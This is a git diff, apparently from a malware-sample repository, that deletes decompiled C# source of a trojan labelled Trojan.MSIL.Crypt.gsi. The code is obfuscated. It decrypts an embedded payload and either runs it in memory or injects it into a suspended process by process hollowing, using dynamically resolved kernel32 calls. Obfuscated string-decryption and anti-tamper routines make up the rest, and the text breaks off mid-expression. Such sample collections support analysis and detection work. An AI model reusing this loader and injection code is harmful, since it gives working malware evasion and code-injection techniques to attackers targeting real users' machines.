EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0002.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0002.cs deleted file mode 100644 index c16c9e1f..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0002.cs +++ /dev/null @@ -1,104 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: jvfB7Dghj3, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3415921B-4A7C-459B-8AB4-2271E9BB92A6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400.exe - -using System.IO; -using System.Reflection; -using System.Threading; - -internal sealed class \u0002 -{ - public \u0002() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - private static byte[] \u0002(byte[] _param0, string _param1, int _param2) - { - if (true) - goto label_4; -label_2: - int index; - while (index < _param0.Length) - { - _param0[index] ^= (byte) ((int) _param1[index % _param1.Length] >> index + _param2 + _param1.Length & (int) byte.MaxValue); - int num = index + 1; - if (true) - index = num; - } - return _param0; -label_4: - index = 0; - goto label_2; - } - - public static void \u0002() - { - try - { - \u0002.\u0002 obj1 = new \u0002.\u0002(); - if (true) - goto label_4; -label_1: - Stream manifestResourceStream = Assembly.GetExecutingAssembly().GetManifestResourceStream(\u0005.\u0002(-1340379551)); - if (true) - goto label_5; -label_2: - Stream stream; - byte[] numArray = new byte[stream.Length]; - if (true) - goto label_6; -label_3: - byte[] buffer; - stream.Read(buffer, 0, (int) stream.Length); - \u0002.\u0002 obj2; - obj2.\u0002 = \u0002.\u0002(buffer, \u0005.\u0002(-1340379573), 434); - new Thread(new ThreadStart(obj2.\u0002)).Start(); - return; -label_6: - buffer = numArray; - goto label_3; -label_5: - stream = manifestResourceStream; - goto label_2; -label_4: - obj2 = obj1; - goto label_1; - } - catch - { - } - } - - private sealed class \u0002 - { - public byte[] \u0002; - - public \u0002() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - public void \u0002() - { - try - { - if (true) - ; - \u0003.\u0002(this.\u0002); - } - catch - { - \u0003.\u0003(this.\u0002); - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0003.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0003.cs deleted file mode 100644 index a1fe25a6..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0003.cs +++ /dev/null @@ -1,219 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: jvfB7Dghj3, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3415921B-4A7C-459B-8AB4-2271E9BB92A6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400.exe - -using System; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Text; - -public static class \u0003 -{ - [DllImport("kernel32.dll", EntryPoint = "GetProcAddress")] - private static extern IntPtr \u0002(IntPtr _param0, string _param1); - - [DllImport("kernel32.dll", EntryPoint = "LoadLibrary")] - private static extern IntPtr \u0002(string _param0); - - private static string \u0002(string _param0) - { - Encoding unicode = Encoding.Unicode; - string s = _param0; - if (true) - ; - byte[] bytes = Convert.FromBase64String(s); - return unicode.GetString(bytes); - } - - private static uint \u0002(byte[] _param0, int _param1) - { - byte[] numArray = _param0; - if (true) - ; - int startIndex = _param1; - return BitConverter.ToUInt32(numArray, startIndex); - } - - public static void \u0002(byte[] _param0) - { - MethodInfo entryPoint = Assembly.Load(_param0).EntryPoint; - if (true) - goto label_5; -label_1: - MethodInfo methodInfo1; - if (methodInfo1.GetParameters().Length > 0) - { - MethodInfo methodInfo2 = methodInfo1; - object[] objArray1 = new object[1]; - if (true) - goto label_6; -label_3: - object[] objArray2; - objArray2[0] = (object) new string[0]; - object[] parameters = objArray2; - methodInfo2.Invoke((object) null, parameters); - return; -label_6: - objArray2 = objArray1; - goto label_3; - } - else - { - methodInfo1.Invoke((object) null, (object[]) null); - return; - } -label_5: - methodInfo1 = entryPoint; - goto label_1; - } - - public static void \u0003(byte[] _param0) - { - \u0003.\u0002 forFunctionPointer1 = (\u0003.\u0002) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002(\u0003.\u0002(\u0003.\u0002(\u0005.\u0002(-1340379601))), \u0003.\u0002(\u0005.\u0002(-1340379628))), typeof (\u0003.\u0002)); - if (true) - goto label_21; -label_1: - \u0003.\u0003 forFunctionPointer2 = (\u0003.\u0003) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002(\u0003.\u0002(\u0003.\u0002(\u0005.\u0002(-1340379601))), \u0003.\u0002(\u0005.\u0002(-1340379451))), typeof (\u0003.\u0003)); - if (true) - goto label_22; -label_2: - \u0003.\u0005 forFunctionPointer3 = (\u0003.\u0005) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002(\u0003.\u0002(\u0003.\u0002(\u0005.\u0002(-1340379466))), \u0003.\u0002(\u0005.\u0002(-1340379497))), typeof (\u0003.\u0005)); - if (true) - goto label_23; -label_3: - \u0003.\u0008 forFunctionPointer4 = (\u0003.\u0008) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002(\u0003.\u0002(\u0003.\u0002(\u0005.\u0002(-1340379601))), \u0003.\u0002(\u0005.\u0002(-1340379308))), typeof (\u0003.\u0008)); - if (true) - goto label_24; -label_4: - \u0003.\u0006 forFunctionPointer5 = (\u0003.\u0006) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002(\u0003.\u0002(\u0003.\u0002(\u0005.\u0002(-1340379601))), \u0003.\u0002(\u0005.\u0002(-1340379387))), typeof (\u0003.\u0006)); - if (true) - goto label_25; -label_5: - \u0003.\u000E forFunctionPointer6 = (\u0003.\u000E) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002(\u0003.\u0002(\u0003.\u0002(\u0005.\u0002(-1340379601))), \u0003.\u0002(\u0005.\u0002(-1340379150))), typeof (\u0003.\u000E)); - if (true) - goto label_26; -label_6: - \u0003.\u000F forFunctionPointer7 = (\u0003.\u000F) Marshal.GetDelegateForFunctionPointer(\u0003.\u0002(\u0003.\u0002(\u0003.\u0002(\u0005.\u0002(-1340379601))), \u0003.\u0002(\u0005.\u0002(-1340379217))), typeof (\u0003.\u000F)); - if (true) - goto label_27; -label_7: - byte[] numArray1 = new byte[64]; - if (true) - goto label_28; -label_8: - byte[] destinationArray1; - Array.Copy((Array) _param0, 0, (Array) destinationArray1, 0, 64); - if (BitConverter.ToUInt16(destinationArray1, 0) != (ushort) 23117) - return; - byte[] numArray2 = new byte[248]; - if (true) - goto label_29; -label_11: - byte[] destinationArray2; - Array.Copy((Array) _param0, BitConverter.ToInt32(destinationArray1, 60), (Array) destinationArray2, 0, 248); - if (\u0003.\u0002(destinationArray2, 0) != 17744U) - return; - byte[] numArray3 = new byte[40]; - if (true) - goto label_30; -label_14: - IntPtr[] numArray4 = new IntPtr[4]; - uint[] numArray5 = new uint[179]; - \u0003.\u0002 obj1; - if (!obj1(\u0003.\u0002(\u0005.\u0002(-1340379244)), string.Empty, IntPtr.Zero, IntPtr.Zero, false, 4U, IntPtr.Zero, (string) null, new byte[68], numArray4)) - return; - numArray5[0] = 65538U; - \u0003.\u0003 obj2; - \u0003.\u0005 obj3; - \u0003.\u0008 obj4; - \u0003.\u0006 obj5; - byte[] destinationArray3; - \u0003.\u000E obj6; - if (obj2(numArray4[1], numArray5)) - { - IntPtr num1 = obj3(numArray4[0], (IntPtr) (long) \u0003.\u0002(destinationArray2, 52)); - IntPtr num2 = obj4(numArray4[0], (IntPtr) (long) \u0003.\u0002(destinationArray2, 52), \u0003.\u0002(destinationArray2, 80), 12288U, 64U); - IntPtr num3 = obj5(numArray4[0], (IntPtr) (long) \u0003.\u0002(destinationArray2, 52), _param0, \u0003.\u0002(destinationArray2, 84), UIntPtr.Zero); - for (int index = 0; index < (int) BitConverter.ToUInt16(destinationArray2, 6); ++index) - { - Array.Copy((Array) _param0, BitConverter.ToInt32(destinationArray1, 60) + 248 + 40 * index, (Array) destinationArray3, 0, 40); - byte[] destinationArray4 = new byte[(IntPtr) \u0003.\u0002(destinationArray3, 16)]; - Array.Copy((Array) _param0, (long) \u0003.\u0002(destinationArray3, 20), (Array) destinationArray4, 0L, (long) \u0003.\u0002(destinationArray3, 16)); - IntPtr num4 = obj5(numArray4[0], (IntPtr) (long) (\u0003.\u0002(destinationArray2, 52) + \u0003.\u0002(destinationArray3, 12)), destinationArray4, \u0003.\u0002(destinationArray3, 16), UIntPtr.Zero); - } - byte[] bytes = BitConverter.GetBytes(\u0003.\u0002(destinationArray2, 52)); - IntPtr num5 = obj5(numArray4[0], (IntPtr) (long) (numArray5[41] + 8U), bytes, (uint) bytes.Length, UIntPtr.Zero); - numArray5[44] = \u0003.\u0002(destinationArray2, 52) + \u0003.\u0002(destinationArray2, 40); - IntPtr num6 = obj6(numArray4[1], numArray5); - } - \u0003.\u000F obj7; - IntPtr num = obj7(numArray4[1]); - return; -label_30: - destinationArray3 = numArray3; - goto label_14; -label_29: - destinationArray2 = numArray2; - goto label_11; -label_28: - destinationArray1 = numArray1; - goto label_8; -label_27: - obj7 = forFunctionPointer7; - goto label_7; -label_26: - obj6 = forFunctionPointer6; - goto label_6; -label_25: - obj5 = forFunctionPointer5; - goto label_5; -label_24: - obj4 = forFunctionPointer4; - goto label_4; -label_23: - obj3 = forFunctionPointer3; - goto label_3; -label_22: - obj2 = forFunctionPointer2; - goto label_2; -label_21: - obj1 = forFunctionPointer1; - goto label_1; - } - - private delegate bool \u0002( - string _param1, - string _param2, - IntPtr _param3, - IntPtr _param4, - bool _param5, - uint _param6, - IntPtr _param7, - string _param8, - byte[] _param9, - IntPtr[] _param10); - - private delegate bool \u0003(IntPtr _param1, uint[] _param2); - - private delegate IntPtr \u0005(IntPtr _param1, IntPtr _param2); - - private delegate IntPtr \u0006( - IntPtr _param1, - IntPtr _param2, - byte[] _param3, - uint _param4, - UIntPtr _param5); - - private delegate IntPtr \u0008( - IntPtr _param1, - IntPtr _param2, - uint _param3, - uint _param4, - uint _param5); - - private delegate IntPtr \u000E(IntPtr _param1, uint[] _param2); - - private delegate IntPtr \u000F(IntPtr _param1); -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0005.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0005.cs deleted file mode 100644 index 1e5a7da4..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0005.cs +++ /dev/null @@ -1,307 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: jvfB7Dghj3, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3415921B-4A7C-459B-8AB4-2271E9BB92A6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; -using System.Threading; - -internal static class \u0005 -{ - private static readonly Dictionary \u0002; - private static BinaryReader \u0003; - private static byte[] \u0005; - private static short \u0008; - private static int \u0006; - private static byte[] \u000E; - private static int \u000F; - - static \u0005() - { - Dictionary dictionary = new Dictionary(12); - if (false) - return; - \u0005.\u0002 = dictionary; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static string \u0002(int _param0) - { - Dictionary dictionary1 = \u0005.\u0002; - if (true) - goto label_69; -label_1: - Monitor.Enter((object) dictionary1); - string str1; - Dictionary dictionary2; - try - { - string str2; - byte[] numArray1; - for (; !\u0005.\u0002.TryGetValue(_param0, out str2); _param0 = ((int) numArray1[2] | (int) numArray1[3] << 16 | (int) numArray1[0] << 8 | (int) numArray1[1] << 24) ^ -_param0) - { - int num1; - if (\u0005.\u0003 == null) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - if (true) - goto label_59; -label_6: - Assembly.GetCallingAssembly(); - if (true) - goto label_60; -label_7: - if (true) - goto label_61; -label_8: - Assembly assembly1; - Stream manifestResourceStream = assembly1.GetManifestResourceStream("      \u200B    \u200B"); - if (true) - goto label_62; -label_9: - if (true) - goto label_63; -label_10: - int num2; - StackTrace stackTrace1 = new StackTrace(num2, false); - if (true) - goto label_64; -label_11: - int num3 = \u0005.\u0006 ^ (6470 | num2); - if (true) - goto label_65; -label_12: - int num4 = num2 - 1; - if (true) - goto label_66; -label_13: - StackTrace stackTrace2; - StackFrame frame = stackTrace2.GetFrame(num2); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - \u0005.\u0006 ^= num2 + 128; - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - if (frame == null) - \u0005.\u0006 ^= 219315; - bool flag = (object) type == (object) typeof (RuntimeMethodHandle); - \u0005.\u0006 ^= 160; - if (!flag) - { - flag = (object) type == null; - if (flag) - \u0005.\u0006 ^= 219283; - } - if (flag == (stackTrace2 != null)) - \u0005.\u0006 ^= 32; - \u0005.\u0006 ^= 6502 | num2 + 1; - Stream input; - \u0005.\u0003 = new BinaryReader(input); - short count = (short) ((int) \u0005.\u0003.ReadInt16() ^ (int) (short) -~~--~~--~~4411); - if (count == (short) 0) - \u0005.\u0008 = (short) ((int) \u0005.\u0003.ReadInt16() ^ (int) (short) -~~--~-~~2347); - else - \u0005.\u0005 = \u0005.\u0003.ReadBytes((int) count); - Assembly assembly2 = assembly1; - AssemblyName assemblyName; - try - { - assemblyName = assembly2.GetName(); - } - catch - { - assemblyName = new AssemblyName(assembly2.FullName); - } - \u0005.\u000E = assemblyName.GetPublicKeyToken(); - if (\u0005.\u000E != null && \u0005.\u000E.Length == 0) - \u0005.\u000E = (byte[]) null; - num1 = -1071676877 ^ (int) (uint) \u0006.\u0002() ^ -~~--~-~~-~-1828924526; - \u0005.\u000F = num1; - \u0005.\u0006 = \u0005.\u0006 & 268435314 ^ 6788; - goto label_30; -label_66: - num2 = num4; - goto label_13; -label_65: - \u0005.\u0006 = num3; - goto label_12; -label_64: - stackTrace2 = stackTrace1; - goto label_11; -label_63: - num2 = 1; - goto label_10; -label_62: - input = manifestResourceStream; - goto label_9; -label_61: - \u0005.\u0006 = 1610370; - goto label_8; -label_60: - goto label_7; -label_59: - assembly1 = executingAssembly; - goto label_6; - } - else - num1 = \u0005.\u000F; -label_30: - int num5 = _param0 ^ 671441723 ^ num1; - \u0005.\u0003.BaseStream.Position = (long) num5; - byte[] numArray2; - if (\u0005.\u0005 != null) - { - numArray2 = \u0005.\u0005; - } - else - { - short count = \u0005.\u0008 != (short) -1 ? \u0005.\u0008 : (short) ((int) \u0005.\u0003.ReadInt16() ^ -26969 ^ num5); - if (count == (short) 0) - { - numArray2 = (byte[]) null; - } - else - { - numArray2 = \u0005.\u0003.ReadBytes((int) count); - for (int index = 0; index != numArray2.Length; ++index) - numArray2[index] ^= (byte) (\u0005.\u000F >> ((index & 3) << 3)); - } - } - int num6 = \u0005.\u0003.ReadInt32() ^ num5 ^ ~--~-~-~~-~-1742855522 ^ num1; - if (num6 == -2) - { - numArray1 = \u0005.\u0003.ReadBytes(4); - _param0 = 1742855522 ^ num1; - } - else - { - bool flag1 = (num6 & int.MinValue) != 0; - bool flag2 = (num6 & 1073741824) != 0; - bool flag3 = (num6 & 536870912) != 0; - int count = num6 & 536870911; - byte[] numArray3 = \u0008.\u0002(numArray2, \u0005.\u0003.ReadBytes(count)); - if (\u0005.\u000E != null != (\u0005.\u0006 != 1607814)) - { - for (int index = 0; index < count; ++index) - { - byte num7 = \u0005.\u000E[index & 7]; - byte num8 = (byte) ((int) num7 << 3 | (int) num7 >> 5); - numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num8); - } - } - int num9 = \u0005.\u0006 - 12; - byte[] bytes; - int length; - if (!flag2) - { - bytes = numArray3; - length = count; - } - else - { - length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24; - bytes = new byte[length]; - \u0005.\u0002(numArray3, 4, bytes); - } - string str3; - if (flag1 && num9 == 1607802) - { - char[] chArray = new char[length]; - for (int index = 0; index < length; ++index) - chArray[index] = (char) bytes[index]; - str3 = new string(chArray); - } - else - str3 = Encoding.Unicode.GetString(bytes, 0, bytes.Length); - int num10 = num9 + ((int) sbyte.MaxValue + (num9 & 3) << 5); - if (num10 != 1611930) - str3 = (_param0 + count ^ 936568 ^ num10 & 1293).ToString("X"); - if (!flag3) - { - str3 = string.Intern(str3); - \u0005.\u0002.Add(_param0, str3); - if (\u0005.\u0002.Count == 12) - { - \u0005.\u0003.Close(); - \u0005.\u0003 = (BinaryReader) null; - \u0005.\u0005 = \u0005.\u000E = (byte[]) null; - } - } - str1 = str3; - goto label_68; - } - } - string str4 = str2; - if (true) - str1 = str4; - } - finally - { - Monitor.Exit((object) dictionary2); - } -label_68: - return str1; -label_69: - dictionary2 = dictionary1; - goto label_1; - } - - private static void \u0002(byte[] _param0, int _param1, byte[] _param2) - { - if (true) - goto label_14; -label_1: - if (true) - goto label_15; -label_2: - if (true) - goto label_16; -label_3: - int length = _param2.Length; -label_13: - int num1; - int num2; - int num3; - while (num3 < length) - { - if ((num1 <<= 1) == 256) - { - num1 = 1; - num2 = (int) _param0[_param1++]; - } - if ((num2 & num1) != 0) - { - int num4 = ((int) _param0[_param1] >> 2) + 3; - int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023; - _param1 += 2; - int num6 = num3 - num5; - if (num6 < 0) - break; - while (true) - { - if (--num4 >= 0 && num3 < length) - _param2[num3++] = _param2[num6++]; - else - goto label_13; - } - } - else - _param2[num3++] = _param0[_param1++]; - } - return; -label_16: - num1 = 128; - goto label_3; -label_15: - num2 = 0; - goto label_2; -label_14: - num3 = 0; - goto label_1; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0006.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0006.cs deleted file mode 100644 index d0d92890..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400/_0006.cs +++ /dev/null @@ -1,418 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: jvfB7Dghj3, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3415921B-4A7C-459B-8AB4-2271E9BB92A6 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\Trojan.MSIL.Crypt.gsi-21bf08ca91d2cb3e60b955c4e9d13e94b611afbb672d669d1a8e69e2a0c21400.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; -using System.Threading; - -internal static class \u0006 -{ - private static \u0006.\u0002 \u0002; - - static \u0006() - { - \u0006.\u0002 obj = new \u0006.\u0002(); - if (false) - return; - \u0006.\u0002 = obj; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static long \u0002() - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0006).Assembly || !\u0006.\u0002()) - return 5038234971328056794; - \u0006.\u0002 obj1 = \u0006.\u0002; - if (true) - goto label_24; -label_3: - Monitor.Enter((object) obj1); - \u0006.\u0002 obj2; - try - { - long num1 = \u0006.\u0002.\u0002(); - if (true) - goto label_20; -label_5: - long num2; - if (num2 == 0L) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - if (true) - goto label_21; -label_7: - List byteList1 = new List(); - if (true) - goto label_22; -label_8: - Assembly assembly; - AssemblyName assemblyName; - try - { - AssemblyName name = assembly.GetName(); - if (true) - assemblyName = name; - } - catch - { - assemblyName = new AssemblyName(assembly.FullName); - } - byte[] collection = assemblyName.GetPublicKeyToken(); - if (collection != null && collection.Length == 0) - collection = (byte[]) null; - List byteList2; - if (collection != null) - byteList2.AddRange((IEnumerable) collection); - byteList2.AddRange((IEnumerable) Encoding.Unicode.GetBytes(assemblyName.Name)); - int num3 = \u0006.\u0002(typeof (\u0006)); - int num4 = \u0006.\u0005.\u0002(); - byteList2.Add((byte) (num3 >> 24)); - byteList2.Add((byte) (num4 >> 16)); - byteList2.Add((byte) (num3 >> 8)); - byteList2.Add((byte) num4); - byteList2.Add((byte) (num3 >> 16)); - byteList2.Add((byte) (num4 >> 8)); - byteList2.Add((byte) num3); - byteList2.Add((byte) (num4 >> 24)); - int count = byteList2.Count; - ulong num5 = 0; - for (int index = 0; index != count; ++index) - { - ulong num6 = num5 + (ulong) byteList2[index]; - ulong num7 = num6 + (num6 << 20); - num5 = num7 ^ num7 >> 12; - byteList2[index] = (byte) 0; - } - ulong num8 = num5 + (num5 << 6); - ulong num9 = num8 ^ num8 >> 22; - num2 = (long) (num9 + (num9 << 30)) ^ 620293858565331414L; - \u0006.\u0002.\u0002(num2); - goto label_19; -label_22: - byteList2 = byteList1; - goto label_8; -label_21: - assembly = executingAssembly; - goto label_7; - } -label_19: - return num2; -label_20: - num2 = num1; - goto label_5; - } - finally - { - Monitor.Exit((object) obj2); - } -label_24: - obj2 = obj1; - goto label_3; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private static bool \u0002() => \u0006.\u0003(); - - [MethodImpl(MethodImplOptions.NoInlining)] - private static bool \u0003() - { - StackTrace stackTrace1 = new StackTrace(); - if (true) - goto label_6; -label_1: - StackTrace stackTrace2; - StackFrame frame = stackTrace2.GetFrame(3); - if (true) - goto label_7; -label_2: - StackFrame stackFrame; - MethodBase methodBase1 = stackFrame == null ? (MethodBase) null : stackFrame.GetMethod(); - if (true) - goto label_8; -label_3: - MethodBase methodBase2; - Type type = (object) methodBase2 == null ? (Type) null : methodBase2.DeclaringType; - return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u0006).Assembly; -label_8: - methodBase2 = methodBase1; - goto label_3; -label_7: - stackFrame = frame; - goto label_2; -label_6: - stackTrace2 = stackTrace1; - goto label_1; - } - - private static int \u0002(Type _param0) - { - Type type = _param0; - if (true) - ; - return type.MetadataToken; - } - - private sealed class \u0002 - { - private int \u0002; - private int \u0003; - - internal \u0002() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - this.\u0002(0L); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal long \u0002() - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u0002).Assembly || !\u0006.\u0002()) - return 2918384; - int[] numArray1 = new int[4]; - if (true) - goto label_14; -label_3: - int[] numArray2; - numArray2[3] = ~--~~--~-~~-2146867248; - numArray2[1] = -~~--~~--~~1471952358; - numArray2[2] = -~-~~-~--~~-488347538; - numArray2[0] = -~~-~-~-~731721866; - int num1 = this.\u0002; - if (true) - goto label_15; -label_4: - int num2 = this.\u0003; - if (true) - goto label_16; -label_5: - int num3 = ~-~--~~-~1640531524; - if (true) - goto label_17; -label_6: - int num4 = ~--~~-~-~957401309; - if (true) - goto label_18; -label_7: - if (true) - goto label_19; -label_9: - int num5; - int num6; - int num7; - int num8; - int num9; - for (; num9 != 32; ++num9) - { - num5 -= (num6 << 4 ^ num6 >> 5) + num6 ^ num7 + numArray2[num7 >> 11 & 3]; - num7 -= num8; - num6 -= (num5 << 4 ^ num5 >> 5) + num5 ^ num7 + numArray2[num7 & 3]; - } - for (int index = 0; index != 4; ++index) - numArray2[index] = 0; - return (long) ((ulong) num5 << 32 | (ulong) (uint) num6); -label_19: - num9 = 0; - goto label_9; -label_18: - num7 = num4; - goto label_7; -label_17: - num8 = num3; - goto label_6; -label_16: - num5 = num2; - goto label_5; -label_15: - num6 = num1; - goto label_4; -label_14: - numArray2 = numArray1; - goto label_3; - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal void \u0002(long _param1) - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u0002).Assembly || !\u0006.\u0002()) - return; - int[] numArray1 = new int[4]; - if (true) - goto label_13; -label_2: - int[] numArray2; - numArray2[1] = -~-~-~~-~1471952359; - numArray2[0] = -~-~~--~~-~731721869; - numArray2[2] = ~-~--~~-~-488347541; - numArray2[3] = -~~--~-~-~~-2146867246; - int num1 = ~-~--~~-~1640531524; - if (true) - goto label_14; -label_3: - int num2 = (int) _param1; - if (true) - goto label_15; -label_4: - int num3 = (int) (_param1 >> 32); - if (true) - goto label_16; -label_5: - if (true) - goto label_17; -label_6: - int num4; - int num5; - int num6; - int num7; - for (int index = 0; index != 32; ++index) - { - num4 += (num5 << 4 ^ num5 >> 5) + num5 ^ num6 + numArray2[num6 & 3]; - num6 += num7; - num5 += (num4 << 4 ^ num4 >> 5) + num4 ^ num6 + numArray2[num6 >> 11 & 3]; - } - for (int index = 0; index != 4; ++index) - numArray2[index] = 0; - this.\u0002 = num4; - this.\u0003 = num5; - return; -label_17: - num6 = 0; - goto label_6; -label_16: - num5 = num3; - goto label_5; -label_15: - num4 = num2; - goto label_4; -label_14: - num7 = num1; - goto label_3; -label_13: - numArray2 = numArray1; - goto label_2; - } - } - - private static class \u0003 - { - internal static int \u0002(int _param0, int _param1) - { - int num1 = _param0; - if (true) - ; - int num2 = _param1 - -~~-~-~-~-~766725945; - return num1 ^ num2; - } - - internal static int \u0003(int _param0, int _param1) - { - int num1 = _param0; - if (true) - ; - int num2 = -~-~-~~-~-470254723; - return num1 - num2 ^ _param1 + ~--~~-~-~-~-716798414; - } - - internal static int \u0005(int _param0, int _param1) - { - int num1 = _param0; - if (true) - ; - int num2 = _param1 - -~~-~-~-~-~1111659711 ^ _param0 - _param1; - return num1 ^ num2; - } - } - - private sealed class \u0005 - { - public \u0005() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u0005).Assembly || !\u0006.\u0002() ? -1509110933 : \u0006.\u0003.\u0005(\u0006.\u0003.\u0003(\u0006.\u0002(typeof (\u0006.\u0006)), \u0006.\u0003.\u0005(\u0006.\u0002(typeof (\u0006.\u0005)), \u0006.\u0002(typeof (\u0006.\u000F)))), \u0006.\u0002\u2000.\u0002()); - } - - private sealed class \u0006 - { - public \u0006() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u0006).Assembly || !\u0006.\u0002() ? -82806859 : \u0006.\u0003.\u0002(\u0006.\u0002(typeof (\u0006.\u0008)), \u0006.\u0002(typeof (\u0006.\u000E)) ^ \u0006.\u0003.\u0003(\u0006.\u0002(typeof (\u0006.\u0006)), \u0006.\u0003.\u0005(\u0006.\u0002(typeof (\u0006.\u0002\u2000)), \u0006.\u000E.\u0002()))); - } - - private sealed class \u0008 - { - public \u0008() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u0008).Assembly || !\u0006.\u0002() ? 1294352278 : \u0006.\u0003.\u0005(\u0006.\u0003.\u0002(\u0006.\u0006.\u0002() ^ -~-~-~~-~-527758445, \u0006.\u0002(typeof (\u0006.\u000E))), \u0006.\u0003.\u0003(\u0006.\u0002(typeof (\u0006.\u0005)) ^ \u0006.\u0002(typeof (\u0006.\u0002\u2000)), ~--~~-~-~124064596)); - } - - private sealed class \u000E - { - public \u000E() - { - if (true) - ; - // ISSUE: explicit constructor call - base.\u002Ector(); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static int \u0002() => (object) Assembly.GetCallingAssembly() != (object) typeof (\u0006.\u000E).Assembly || !\u0006.\u0002() ? 402344241 : \u0006.\u0003.\u0005(\u0006.\u0002(typeof (\u0006.\u000E)), \u0006.\u0003.\u0002(\u0006.\u0002(typeof (\u0006.\u0005)), \u0006.\u0003.\u0003(\u0006.\u0002(typeof (\u0006.\u0006)), 